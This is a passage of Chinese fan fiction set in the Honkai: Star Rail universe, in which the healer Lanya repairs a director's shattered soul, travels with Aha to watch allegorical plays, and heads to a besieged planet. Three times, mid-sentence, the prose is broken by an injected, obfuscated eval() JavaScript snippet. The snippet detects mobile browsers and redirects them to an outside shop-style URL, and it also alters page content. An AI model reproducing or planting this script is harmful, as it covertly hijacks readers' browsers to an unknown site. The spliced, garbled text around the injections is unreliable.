他紫灰色的眼睛,和芽衣的紫色眼睛相比,相似又不相似,像是熊熊燃烧的火,在广袤的黑暗宇宙中发出微弱又坚定的光。 “我们通常各自为战。唯一的集结方式是一条不成文的规矩:当巡猎子弹的飞星出现在天际的一角,它彗星般的光芒昭告着巡海游侠应去的方向。这个方向会超越时间和空间的概念,每一颗星星都会应召而去。” 兰涯低下头,开始思考一个问题。 自己的复仇对象是谁? 虚数之树吗? 8. 第 8 章 自己的复仇对象是谁? 虚数之树吗? 那个让她承受无数次轮回痛苦的存在,那个把她当作工具使用的存在,那个或许是给了她灵魂却不肯给她自由的存在。她应该恨它。她想恨它。但她不确定自己知不知道恨是什么感觉。 这个问题显然要滞后思考。拉曼查还有一件事没说完。从他那有些微妙的表情来看,这件事大概对他有些尴尬,至少兰涯读出来一丝不太情愿的敌对感。 “星际和平公司的高层,布鲁斯。”他像是在嚼一块不太好吃的肉,每一个字都带着不情愿,“据说在诛罗之战中被余波波及,公司医疗体系束手无策。私下托人联络我们,想请你去医治。” 兰涯问:“他和你有仇?” “星际和平公司的名声确实好坏参半,坏的比例更高一些。”拉曼查挠了挠头,“就我个人而言,最好公司听到我的名字能瑟瑟发抖。不过他们战略投资部都能通过巡海游侠找到你,可能真没辙了?” “战略投资部是什么?” 拉曼查看着她,沉默了两秒。他现在有点理解铁尔南说的那种“特别”了。但凡关注一下宇宙时事,不会连公司都不知道吧。他挠了挠头,没辙了,耐心地解释:“公司内部有好几个部门,内斗还挺严重的。这次受伤的布鲁斯,好像是什么理事。” 兰涯假装听懂的样子,点了点头:“如果不是什么恶人,我可以接受。” “我陪你去。”拉曼查的语气很坚决,“他那里说医治地点在私人空间站,会派人来接。哼,公司的人狡猾得很,我跟着你,免得他们耍花样。” 兰涯拒绝了。 “不必。让他们发个坐标给我,我自己跃迁过去,一下子就好了。” 于是谈话再次回到了开头,不过提问者变成了拉曼查。 “这也能跃迁?这里没有像无名客列车那样瞬间快速跃迁的交通工具吧?” 宇宙主流还是使用虚数能引擎的飞船,但是速度对于星际之间而言,还是比较感人的。比它更快的还有光粒子冲压式引擎,但那个不太稳定。 天才俱乐部第77席迷图,在还没有成为俱乐部一员的时候,就曾经研究出一种超距传输空间引擎,可以达成物体瞬移。美中不足的是,凭空出现的物体,会让周围物质瞬间膨胀,最终爆炸。据说迷图在目睹爆炸后,不再“迷途”了,成为了一位和平主义天才。 言归正传,当下宇宙间还是依赖开拓银轨达成快速航行。巡海游侠的交通工具都比较的古早味,显然无法达成兰涯所说的“一下子就好了”。 拉曼查摸了摸下巴,眼睛微微眯起来,好像是什么侦探小说主角。 “你说的‘跟着声音跃迁过来’,让我很好奇。” 兰涯感受到了铁尔南所说的“难道不是一看就会”的解释困境。她张了张嘴,想解释,但发现自己不知道从何说起。声音?什么声音?虚数脉络的震动?那些只有她能听到的、从宇宙最底层传来的呻吟? 她放弃了解释。 “没时间让你当侦探了,”她转身朝教室的方向走去,“记得把坐标给我。” “我……你……哎呦!”拉曼查被堵得说不出话来,站在原地,看着她的背影消失在门后。 星河间静静地停泊着一座小型空间站。没有星际和平公司的标志,通体漆黑,像是刻意隐匿了身份。在这片星域,这样的空间站并不罕见,很多富人或者不想被注意的组织都会建这种隐形的据点。 不过兰涯只身出现在空间站入口处时,显然把人吓了一跳。 负责迎接的是布鲁斯的秘书。他穿着得体的正装,头发梳得一丝不苟,手里拿着一份平板,看起来像是在这里站了很久了。他揉了揉眼睛,确定面前只有一个人,没有什么交通工具。周围没有任何飞船,没有任何跃迁的痕迹,这个女人就是凭空出现的。 秘书深吸一口气,自我安慰:上班这么多年,宇宙里的神人还见得少吗?不差这一位。他对着兰涯微微躬身,声音平稳而专业:“请随我来,布鲁斯理事已经在等候了。” 穿过长长的走廊,两侧是透明的窗户,能看到外面浩瀚的星空。秘书走在前面,步伐不快不慢,保持着恰到好处的距离。 一路上,他主动又不失礼貌地介绍着病人的情况:“布鲁斯理事这次被毁灭余波波及,灵魂出现破碎。我们请了丰饶医者、忆者,也无济于事。”他顿了顿,补充道,“您放心,这里只有我们的人,全程没有任何多余的目光。” 走到一间宽敞的病房门口,秘书停下脚步,向兰涯微微躬身致意:“理事目前被琥珀王的神迹所护住,不让灵魂散逸出房间。您请进。” 兰涯推开门。 病房很大,但陈设很简单。一张特制的医疗床摆在房间中央,床上躺着一个人,正是布鲁斯。他看起来五十多岁,面色灰白,眼窝深陷,如果不是胸口还有微弱的起伏,几乎以为他已经死了。 环绕着医疗床,有一层淡金色的光罩。那光罩像是一个倒扣的碗,把整张床笼罩在其中。光罩的表面有细密的纹路在流动,像是某种古老的防御工事。这就是秘书所说的“琥珀王的神迹”,来自存护命途的力量,将布鲁斯碎裂的灵魂封锁在房间里,不让它散逸出去。 在兰涯的眼中,那些灵魂的碎片在光罩内飘浮着,像是碎裂的玻璃渣,有的明亮,有的暗淡,有的还在微弱地闪烁,有的已经快要熄灭了。灵魂的确碎裂了,却还未到“命数既定”的地步。 隔离装置外,布鲁斯的夫人坐在一张椅子上。她有着一头迷人的粉色头发,多日的忧虑使得她有些憔悴,眼角的细纹比实际年龄要深一些。看到兰涯进来,她站起身,礼貌地微微颔首。 “有劳了。”她的声音有些沙哑,但依然保持着得体的、属于上流社会的从容。 兰涯没有多余的寒暄。她走到病床边,看了一眼那个淡金色的光罩,又看了一眼光罩内飘浮的灵魂碎片。 “有点疼,”她说,语气沉稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485877|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无波,“忍着。” 她伸出手,穿过光罩,存护的力量没有阻止她,手指触碰到那些飘浮的灵魂碎片,布鲁斯的身体微微抽搐了一下。 金色的时针和银色的罗盘指针,在淡金色的光罩内交替亮起。 时针锚定灵魂,将游离的碎片聚拢,稳住消散的迹象。 指针牵引脉络,将碎片一一归位。 双针交替起落,如同在编织一张无形的网,将撕裂的灵魂一点点缝合。 兰涯的动作很快,但每一步都精准。她的手指没有一丝多余的颤抖,她的目光没有一刻离开过那些碎片,像是在拆一颗炸弹,每一根线都必须剪对,剪错一根,就再也没有第二次机会。 这哪是“有点疼”? 灵魂撕裂再缝合的疼痛远胜普通创伤。普通手术还有麻药,此刻是一丁点儿麻药都没有。布鲁斯的灵魂脱离了身体,身体瘫软在床上也动弹不得,只能眼睁睁地接受“亿点疼”的命运。他的眉头皱成了一个死结,牙齿咬得咯咯响,但他没有叫出声,倒也不是这位理事坚强,只是因为他叫不出来。 布鲁斯夫人见状,不自觉上前半步。她的手抬起来,像是想要抓住什么,又不知道该抓什么。她看着兰涯的双针动作丝毫不乱,仿佛周围的一切都与自身无关,唯有手中的针和眼前的病人。她停住了脚步,放下了手。 片刻后,灵魂缝合完毕。兰涯用双针把灵魂固定回身体,布鲁斯身体上碎裂的痕迹也开始慢慢淡化。那些黑色的、像是瓷器裂纹一样的痕迹,从皮肤表面一点一点地消退,像是有人用橡皮把它们擦掉了。 兰涯拔出双针,擦了擦针尖,插回发间。她转身看向夫人,语气依旧平淡:“好了,静养一段时间就行。” 布鲁斯夫人忍不住流下了眼泪。“不知该怎么感谢您,”她的声音有些哽咽,“如果我的丈夫真的死去,我真不知道该怎么应对家族里那些手……” 激动之余,她差点说出家族秘辛。她赶紧住了口,用手帕轻轻按了按眼角。 兰涯没有和夫人产生同理心的想法。她只是站在那里,听着,等着,确认对方没有更多的话要说。 “他人告知我布鲁斯先生并非恶人,”她说,“且今日我观他命数并非既定,那确实有一线生机。” 布鲁斯夫人还想说什么,但兰涯已经转身走向门口。 布鲁斯给的报酬的确不菲,除了一串数字打到她的账户上,还有一堆兰涯无心去看的东西,选择全部打包扔去拉曼查那里。 那些东西对她毫无意义,她需要的,是一个方向。 她站在空间站外的虚空中,周围是无尽的星海。银色的罗盘指针从她的发间飘起来,悬浮在她身前,缓慢地旋转。 虚数之树。 她要去那里,不过并不确定自己知不知道“复仇”是什么感觉,她只想问它一个问题。 为什么给我灵魂? 她收起罗盘指针,凭借自身与虚数之树的感知,跃迁而去。 9. 第 9 章 兰涯孤身一人,踏上了寻找虚数之树的旅程,循着寰宇间最微弱的虚数脉络,在星间前行。 拉曼查的话提醒了她,可能找到虚数之树——她诞生的根源,才能找到实现自己愿望的方法。 曾经寰宇的各种大灾,让宇宙千疮百孔。 破碎的飞船残骸在她身边掠过,锈蚀的金属外壳上还残留着战火的痕迹。 废弃的星际空间站早已没有生命的气息,只剩下冰冷的仪器与散落的骸骨。 被战乱侵蚀的星球一片死寂,到处都是繁育虫群啃噬的创口。 这样的旅程,不知持续了多久。 就在兰涯休息完,准备再次出发时,一个声音突然在她身后响起,打破了虚空的宁静:“女士,怎么一个人在这里孤零零地赶路,难不成是迷路了?” 在如此荒芜的地方,会有第二个人? 兰涯转身,只见不远处站着一个人,灰色的发丝随意地散落着,像是被风吹乱的,又像是故意没有打理。一双金眸璀璨夺目,却带着一点懒洋洋的味道,像是刚睡醒,又像是根本没打算清醒。 “你是谁?”兰涯的声音很轻,但没有放下警惕。 那人笑着走上前,步伐轻快,金眸里的笑意愈发浓烈:“别这么紧张嘛,我又不会伤害你。” 他停下脚步,目光在她素淡的衣袍、苍白的脸庞上停留了片刻,弯腰行礼:“我叫阿基维利,一个游历寰宇的闲人,说起来,我还知道你要找什么,是存在之树,对吧?用你的话来说,是虚数之树。” 兰涯的心底泛起一丝惊讶:“你知道我要找虚数之树?” 她从未向任何人提及自己的目的地,眼前这个自称阿基维利的人,怎么会知道? “哈哈哈,这宇宙间,就没有我不知道的事情。”阿基维利的金眸里闪过一丝得意,那表情像是一个孩子炫耀自己的玩具,“虚数之树嘛,我不仅知道它在哪里,还去过那里,甚至登上过它的顶端,见过别人从未见过的景象。” 登上过顶端? 兰涯独自寻找虚数之树许久,始终找不到明确的方向,那些虚数脉络太细太密,像是没有尽头的迷宫,她走进去,绕来绕去,总是回到原点。眼前这个人既然知道虚数之树的位置,或许能帮她省去许多弯路。可她依旧没有放松警惕,眼前这个人太过神秘,让自己无法安心。 似乎察觉到了兰涯的疑虑,阿基维利摊了摊手,语气依旧诚恳:“放心,我不会骗你。我只是觉得,一位孤身寻找虚数之树的女士,太过寂寞,想陪你走一段路,给你带带路。”他顿了顿,补充道,“当然,我也不是白帮你,路上听我讲讲故事,解解闷就好。” 兰涯沉默了片刻。她的直觉告诉她,眼前的这个人没有恶意,似乎只有一种无聊,一种“我闲着没事干,找个人聊聊天”的无聊。 她轻轻点头:“好。” “哈哈哈,放心放心,我说话算话。”阿基维利笑得更加开怀,伸出手拍了拍兰涯的肩膀,力道不轻不重,像是一个老朋友在打招呼,“走吧,我们出发,我带你去寻找虚数之树,路上,我给你讲讲宇宙的八卦,保证让你大开眼界。” 阿基维利果然如他所说,对宇宙八卦了如指掌。一路上,他滔滔不绝地讲述着各个星系的隐秘、星神之间的纷争、古老文明的兴衰。 他的言语间满是戏谑,讲什么事情都像是在讲一个笑话,但又字字珠玑,句句属实。他讲起毁灭星神的诞生,讲起存护星神的顽固,甚至讲起巡猎星神的飞升。 那些兰涯从未知晓的秘辛,在他口中仿佛只是一件件微不足道的小事。 兰涯静静听着,偶尔会提出一些疑问。比如“纳努克为什么会选择毁灭”,比如“克里珀到底在筑什么墙”,比如“岚的箭有没有射偏过”。 阿基维利也总能耐心解答,有些答案让她恍然大悟,有些答案让她更加困惑,但无论如何,她补习了许多铁尔南所说的“寰宇历史”。那些她应该在无数个轮回中已经知道、却从未在意过的故事,现在像拼图一样,一块一块地拼凑在一起。 同行的日子里,阿基维利总是有意无意地将路线带偏。原本朝着虚数之树的方向,渐渐偏离了轨迹,像一个说好要去超市的人,路过书店就进去翻翻,路过咖啡馆就坐下来喝一杯,路过公园就躺在草地上看一会儿云。 起初,兰涯并未察觉,只当是宇宙间的航线复杂,阿基维利只是在调整路线。可随着时间的推移,她察觉到自己好像离虚数之树越来越远了,体内的共鸣变少了,那些虚数脉络的震动不再像以前那样清晰,像是有人把收音机的频率调偏了一点,声音还在,但模糊了。 这天,阿基维利讲完贪饕星神奥博洛斯和繁育星神塔伊兹育罗斯的大战后,兰涯叹了一口气。 她看着阿基维利那双金色的眼睛,那双眼睛里依然是懒洋洋的笑意,但笑意下面,有一种她之前没有注意到的疲惫。 “那么讲讲你的故事吧。”她说。 “我的故事?”阿基维利眨了眨金色的眼睛,那表情像是在确认自己没有听错,“阿基维利的故事?” 兰涯无奈地笑了,从阿基维利的角度来看,像是成熟的大人对着为了吃糖而撒谎的三岁孩子,知道你在骗我,但我不生气。 “我早已从无名客口中得知,开拓星神阿基维利已经陨落了。你又何必在这里骗我走远路呢?阿哈。” 灰色的人影消失了。欢愉的面具显现出来,嘻嘻笑着。 “阿哈真没面子。” 面具的笑脸变成了哭脸。 “女士,你不必急于一时做出决定,不必急于去寻找虚数之树。阿哈爬上去过,那里太无趣了,你不会喜欢的。” 无数哭哭笑笑的面具从虚空中浮现,环绕着兰涯。它们有大有小,有圆有扁,有的精致有的粗糙,但每一张都在重复着笑、哭、笑、哭。 “你一路寻找虚数之树,不过是因为你心中有不甘,有迷茫。” “历经世间百态,见过欢乐,见过痛苦,见过繁华,见过荒芜。当你真正看透这宇宙的真相,真正读懂自己的内心,再做决定,也不迟。” 面具们忽然消失了,像是从来没有出现过一样。徒留下一个蓝发的男人站在兰涯面前,彬彬有礼地向她发出邀请。 “要不要和我一起坐上贡多拉,前往悲悼伶人的剧场看表演?” 随着他的话语,一艘白色的贡多拉在星河间显现。船身细长,两头翘起,像一片被折弯的月光。船体上没有桨,没有帆,只有一张铺着软垫的长椅,和几盏在风中轻轻摇晃的灯笼。 于是,贡多拉载着两缕星尘,在寰宇的星轨上滑行。 没有桨声,没有浪涛,只有虚空的风,轻拂过衣摆。风把沿途的星云揉成薄纱,缠绕着船舷,驶向一片水与梦的疆域,那里是悲悼伶人的剧场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485878|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 空气里浮动着淡淡的香,漫过鼻尖,那香气不是欢愉,是悲悼伶人温柔的歌,轻轻裹住面具后的哭脸。 贡多拉缓缓前行,船身掠过细碎的光尘,蓝发的身影靠在船边,笑意淡成一缕。 兰涯望着前方,那座悬浮在虚空里的剧场,阶梯式的座椅层层叠叠,铺着丝绸般的地毯,仿佛每一个空位,都坐着过往的魂灵,静候一场悲怆的独白。 穹顶缀满眨着眼的星,像伶人垂落的眼泪。 厚重的猩红色幕布静穆垂落。 灯光次第亮起,不是炽热的璀璨,是柔和的暖光,逐排铺展开。 蓝发男人请客人坐在C位,没有嬉笑的癫狂,他用念诗一样的语调,庄重地说: “请看,悲悼剧场·第一场:《琥珀骑士和月亮骑士》。” 幕布缓缓揭开,光尘落在舞台中央,两抹身影并肩而立。 琥珀骑士的铠甲泛着暖黄的柔光,月亮骑士披着银白的披风。 台下的观众只有两人,所有的光影都聚焦在舞台之上,一场宿命的厮杀,正悄然拉开序幕。 恶魔百足虫从舞台深处爬出,无数只虫足泛着寒光,口器滴落粘稠的毒液。 没有多余的言语,琥珀骑士和月亮骑士相视一眼,便纵身跃起,长剑交错的瞬间,迸发出璀璨的光芒,划破舞台的沉寂。 长剑刺穿恶魔心脏的那一刻,百足虫的嘶吼声渐渐微弱,漆黑的躯体开始碎裂。 在气息断绝的最后一刻,百足虫突然挣脱束缚,一口咬在月亮骑士的手腕上,毒液瞬间蔓延,顺着血脉,侵入他的心神。 月光般的眼眸瞬间被猩红吞噬,月亮骑士的身形开始颤抖,银白的披风染上暗沉的血色。 他挣脱琥珀骑士的搀扶,嘶吼着扑向奄奄一息的恶魔,獠牙咬破恶魔的躯体,硬生生撕下一块漆黑的碎片。 碎片在他掌心泛着诡异的光,顺着他的指尖,一点点渗入他的体内,加剧着他的癫狂。 琥珀骑士冲上前,试图唤醒月亮骑士沉沦的神智。 琥珀骑士知道,恶魔的碎片一旦沾染,便会被欲望吞噬,唯有将碎片封存,才能阻止灾难蔓延。 他没有丝毫犹豫,拾起恶魔身上最大的一块碎片,将碎片狠狠按在自己的胸口,铠甲裂开一道缝隙,碎片缓缓渗入他的体内,撕咬着骑士的血肉。 琥珀骑士强忍着撕心裂肺的疼痛,将余下的碎片一一拾起,用自己的力量封印在不同的容器里,藏在无人知晓的角落。 他以为,这样便能守护住身边的人,守护住这片土地。 舞台的侧幕缓缓拉开,琥珀骑士的族人悄然出现,他们的眼眸里没有担忧,没有关切,只有对碎片力量的狂热与觊觎。 那些熟悉的脸庞,此刻都变得陌生而狰狞,他们盯着琥珀骑士体内的碎片,盯着那些被封存的容器,眼底的欲望,好像被百足虫寄生了,疯狂生长。 琥珀骑士站在舞台中央,铠甲上的柔光渐渐黯淡。 他望着身边癫狂未醒的月亮骑士,望着那些觊觎力量的族人,忽然明白,真正的恶魔,从来都不是百足虫,而是藏在人心深处,无法被封印的贪婪与欲望。 光渐渐黯淡,舞台上的光影开始模糊,琥珀骑士的身影在微光中显得格外孤寂,他握着长剑,面前是贪婪的族人,体内是躁动的恶魔碎片。 一场新的悲怆,缓缓上演。 10. 第 10 章 幕布缓缓垂下,第一场剧目结束。 蓝发男人抱着一桶五颜六色的爆米花,吃得津津有味,嘴角沾着几粒糖霜,看起来像是一个在电影院里坐了一整天的观众。 他一边嚼着爆米花,一边还不忘继续报幕,语气里带着一种莫名其妙的热情: “请看,悲悼剧场·第二场:《森林猎人》。” 兰涯手里捧着一杯热情番莲果的果汁,喝了一口,酸酸甜甜的味道在舌尖上化开。她看着那桶爆米花,又看了看阿哈那张写满了“我很享受”的脸,忍不住问了一句:“第一场的故事这就结束了?这算结局吗?” 蓝发男人露出一个不可言传的笑容,那笑容里藏着一种“我知道你不知道”的神秘感:“3.7也不是真正的结局啊,还要等着书写呢。” 兰涯感觉自己的头顶上一定有一个巨大的问号。她不明白“3.7”是什么意思,也不知道“等着书写”是在等谁书写。 她选择不再追问,因为第二场的大幕已经拉开了。 幕布再启,光影揉碎成林间的晨雾,参天古木拔地而起,枝桠交错着织成穹顶。 舞台中央,那人衣衫褴褛,手中握着一根粗糙的木杖,眼神里没有锋芒,只有求生的惶恐。 他最早不是猎人,只是为了生存进入森林的农人。 森林的法则从来残酷,咆哮声从深处传来,黑熊粗壮的熊掌拍在树干上,原始的暴戾,是生与死的绝对碾压。 他曾拼命奔跑,曾蜷缩在树洞里瑟瑟发抖,曾看着同伴沦为熊爪下的残骸。 那一刻他终于明白,温柔换不来生机,退让换不来存活,唯有拿起武器,才能在这片荒芜里,守住自己。 木杖换成了猎枪,粗布衣衫染上山林的风霜,掌心磨出厚厚的茧,眼神里的惶恐,渐渐被坚定取代。 他学着潜伏,学着瞄准,学着在漆黑的夜里,借着月光捕捉猎物的踪迹,每一次扣动扳机,都是与命运的对峙,每一次收获,都是活下去的勋章。 他不再是那个手无寸铁的旅人,他成了猎人,成了这片森林里,不可小觑的力量,而复仇的种子,在心底悄然生根——为了那些逝去的,为了曾经的恐惧,为了被践踏的尊严。 猎枪对准黑熊的那一刻,林间一片死寂,只有他沉重的呼吸,与猎枪上泛着的冷光。 枪声划破静谧,黑熊轰然倒地,温热的鲜血染红了落叶,也染红了猎人的衣衫。 复仇的快感像潮水般涌来,却又在瞬间褪去。 于是,他开始为了打猎而打猎。 起初是狡诈的狐狸,它们藏在灌木丛中,眼神灵动,却终究逃不过冰冷的枪口。 后来是冷血的蛇,它们潜伏在草丛里,带着致命的毒液,却在枪声里,化作冰冷的躯体。 他的猎枪,渐渐失去了最初的意义,只剩下杀戮的本能,从作恶的生灵,到无辜的小兽,他不再分辨,不再犹豫。 小兔子,正啃食着沾着晨露的青草,枪声响起,它小小的身躯倒在草地上。 小松鼠,正抱着松果在树枝间跳跃,子弹穿透它的身体,它从枝头坠落,那双漆黑的眼眸,还凝着未散的惊恐。 猎枪的声响,在林间反复回荡,每一声,都在吞噬着森林的生机,每一声,都在将他推向沉沦的深渊。 不知过了多久,枪声渐渐平息。森林里再没有动物的踪迹,只剩下寂静,死寂得能听见落叶坠落的声响。 他站在空荡荡的森林里,猎枪垂在身侧,衣衫上沾满了血迹,眼神空洞而麻木。 他早已不是猎人,不是那个为了活下去而拿起武器的农人,不是那个为了复仇而扣动扳机的猎人。 林间的风,开始流传着恶魔的流言,说有一个猎人,嗜杀成性,屠戮了整片森林的生灵,说他的枪口,染着无数无辜的鲜血,说他的眼神,比黑熊更暴戾,比毒蛇更冷血。 他站在光影的尽头,望着空荡荡的森林,忽然看清了自己——他终究活成了自己最厌恶的模样,活成了森林里,最可怕的恶魔,而那把曾经用来守护自己的猎枪,最终,变成了屠戮生灵的利器。 在光影里,求生、复仇与沉沦的挽歌落下帷幕。 细碎的光尘里,一群妖精小动物循着微光而来,轻手轻脚地漫过舞台,踏过柔软的丝绒地毯。 它们身形小巧,毛色泛着朦胧的光晕,有的长着琉璃般的眼眸,有的缀着细碎的绒毛,有的翅尖沾着星光,无声无息地围在兰涯与阿哈身边,捧着各种各样的食物,摆放在两人面前的桌上,一时间让兰涯目不暇接。 闪烁着宝石光辉的浆果,莹润饱满,泛着淡淡的甜光。冒着温热气息的小兔子米糕,软糯洁白,沾着细碎的糖霜。浸在月光里的花蜜,澄澈透亮,香气漫溢。裂开嘴的坚果躺在云朵一样的冰激凌上,下面的蛋筒得意地插着腰,像是一个刚做完了一件了不起的事情的小孩。 “来吧,人间的美味,生命的幸福!”蓝发的男人一边举着蛋筒,一边噫吁呼着,仿佛手上的蛋筒是什么应援棒。他的声音很大,大到几个小妖精被吓了一跳,扑扇着翅膀飞到了天花板上。 兰涯很担心他的冰激凌从蛋筒上掉下来。她看着那个蛋筒在阿哈手里晃来晃去,冰激凌球在上面摇摇欲坠,像是一个随时会从悬崖边上掉下去的人。但奇怪的是,它始终没有掉。也许这就是欢愉的力量,让不可能的事情变得可能,让该掉的东西不掉。 她很喜欢冰激凌的甜味,那种甜和桃子的甜不一样,和红豆汤的甜也不一样。她觉得芽衣也会喜欢,心里惦记着下次要回请芽衣吃冰激凌。 看着眼前还在噫吁呼的蓝发男人,兰涯发现自己叹气的次数变多了。她又叹了口气,那声叹息很轻,但阿哈听到了。 “这个故事有结局了,但也并不令人高兴啊。”她说。 阿哈以迅雷不及掩耳盗铃之势,飞快地把冰激凌蛋筒吃完了。那个速度之快,兰涯甚至没有看清他是怎么吃的,前一秒蛋筒还在他手里,后一秒就只剩下手上的蛋筒碎屑。 他被冰得半晌说不出话来,斯哈斯哈着喝下一大口热红茶,脸上的表情像是在说“值了”。 “这可是编剧们的得意之作。”他说,语气里带着一种“你不懂艺术”的骄傲,“你不高兴,编剧就高兴了。” 兰涯问:“观众反馈不佳,这也不行吗?” “爱看看,不看走,喵。”阿哈不知从哪里掏出来一个猫爪棒,边配音边轻轻地用猫爪棒挠了挠兰涯的脸。那触感毛茸茸、软绵绵的,像是一只真的猫收起尖爪触碰她,“绝境医师也可以修改这个结局喵。” 兰涯无奈地摸了摸自己的脸,被猫爪棒挠过的地方有点痒:“游侠们的宣传力度就这么大吗?你都知道了。” “哈哈哈阿哈无所不知!”阿哈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485879|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音里带着一种理所当然的自信。 “可我根本就不是医治。”兰涯说,声音低了几分,“逆转局部时间,伤员即便此刻被挽回,未来依旧会陷入既定的命运轮回,痛苦从未真正消失。我这样,只是为他们偷了时间而已。” 蓝发的男人消失了。 面具们又出现了,大大小小,哭哭笑笑,环绕着她。那些面具不再像之前那样喧闹,而是安静地飘浮着,像是在认真听她说话。 “你太小瞧人类啦。”一个面具说,声音里带着一种长辈的慈祥,“在困境中散发人性的光辉,自己拯救自己的命运,才是最快乐的。” 另一个面具接过了话:“即使一点点帮助,也能让人类前进寻求答案的旅程轻松一点。就像给资源匮乏、一年只能喝一碗热汤的战士,提供每天一碗热汤的补给。” 又一个面具开口了,声音很轻,像是在念诗:“编剧说,众人将与一人离别,惟其人将觐见奇迹是好结局。可是,当真如此吗?” 面具们沉默了一瞬。然后一个声音从角落里传来,带着一种孩子般的好奇:“医师喜欢什么结局?” “让你喜欢的结局快一点来,有什么不好呢?”最后一个面具说这话的时候,脸上的笑容是暖的,像是一个朋友在真诚地劝另一个朋友。 阿哈说得太有道理了,和刚见面时那个懒洋洋的样子完全不同。 那些面具们的声音叠在一起,像是一首没有谱子的合唱,每一个声部都在说着不同的话,但合在一起却意外地和谐。兰涯对这群面具们刮目相看了。 她伸手摸上其中一副面具。那面具并不冰凉,还有些暖洋洋的,像是被太阳晒过的石头。她的指尖在面具的表面轻轻滑过,感受着那种温润的触感。 “所以,月亮骑士也很疼吗?”她问。 那副面具“砰”的一声消失了,又在同一瞬间“砰”的一声出现在兰涯的另一只手上。它贴着她的掌心,像是在蹭她的手。 “月亮也等着绝境医师伸手,把月亮从绝境里打捞出来。” 其他面具嘻嘻笑成一团,在兰涯耳边叽叽喳喳地说着话。那些声音有的尖细,有的低沉,有的像是在唱歌,有的像是在念经,但每一句话她都听得清清楚楚。 “阿哈在求你呢,医师。” “你是祂们的mainboard。” “不不,是motherboard!” “嘻嘻,总之,主板烧了,祂们也落不得好。” “阿哈真没用!” “只要我们在医师面前自刎归天,医师一定会答应的!” “我也要自刎吗?” “对!” 兰涯被逗笑了,这是她第一个真正的、完整的、虽然不大但确凿无疑的欢笑。 她发现欢愉的力量的确厉害,能让笑从最意想不到的地方长出来,像石头缝里开出的一朵花。 她低头看着手上的面具,确认道:“你要和我一起来见证结局吗?” 面具一开始纹丝不动,像是一个在装睡的人。其他面具在旁边起哄:“答应她!答应她!答应她!”声音越来越大,越来越急,像是一群在看热闹的孩子。 最后,那副面具在起哄声中“砰”的一声,化成一枚发夹,移动到了兰涯的发间。它安静地待在那里,不再动弹,像是一只找到了窝的猫,蜷缩起来,闭上了眼睛。 11. 第 11 章 剧场的妖精小动物们正依偎在兰涯脚边,轻柔地呜咽着。那些小小的身体贴着她的脚踝,毛茸茸的。 一道消息铃声突然响起,在剧场的静谧中显得格外刺耳。信号能跨越星海,人类的科技真是令人惊讶。兰涯打开手机,看到的是来自铁尔南的信息:“星球天鹰堡被反物质军团入侵,后勤求援。” “天鹰堡……”兰涯低声呢喃。她从未听过这个名字,却能从铁尔南的求助中想象到他会去的原因。 没有星神博弈的宏大壮阔,只有最纯粹的屠戮与挣扎,星球上的普通人类,在反物质军团的铁蹄下垂死挣扎。铁尔南去那里,不是因为什么宏大的使命,只是因为他看到了有人在受苦,而他不能假装没看到。 眼底的迷茫褪去了。那种一直笼罩在她眼前的、像薄雾一样的东西,在那个名字出现的瞬间散开了。她做出了决定,看向面具们,声音不大但很清晰:“戏剧可能只能看到这里了,我要去天鹰堡。” 面具们再度消失,像是一阵风把它们吹散了。 蓝发的男人彬彬有礼地站起身,向兰涯微微颔首。他的脸上没有嬉笑,没有癫狂,唯余庄重。 “得知您暂时搁置前往虚数之树的旅程,我再欣喜不过。”他说,“请不要忘记您与我的约定。下次再会时,医师一定能带来令人欢喜的故事。” 贡多拉载着兰涯离开剧场,驶入星河间。身后那座悬浮在虚空里的剧场越来越远,猩红色的幕布和闪烁的穹顶渐渐缩成一个小小的光点,最终消失不见。 兰涯不再犹豫,身形微微虚化,循着那股浓烈的痛苦与哀嚎,向着天鹰堡跃迁而去。 刚一落地,浓烈的血腥气与焦糊味便扑面而来,呛得她微微蹙眉。 眼前的景象比她想象的还要惨烈。断壁残垣连绵不绝,燃烧的火焰还在肆意蔓延,浓烟遮蔽了天空,让整个星球都笼罩在一片灰暗之中,如同太阳都毁灭了。 地面上到处都是尸体与伤者,孩童的哭喊声、老人的哀嚎声、伤者的呻吟声,不绝于耳。那些声音通过虚数脉络传入她的身体,在她的骨头里共振,在她的血液里流淌。 铁尔南是出了名的快枪手,双枪左右开弓,与反物质军团厮杀在一起。他的动作很快,快到兰涯只能看到枪口的火光和他手臂的残影。 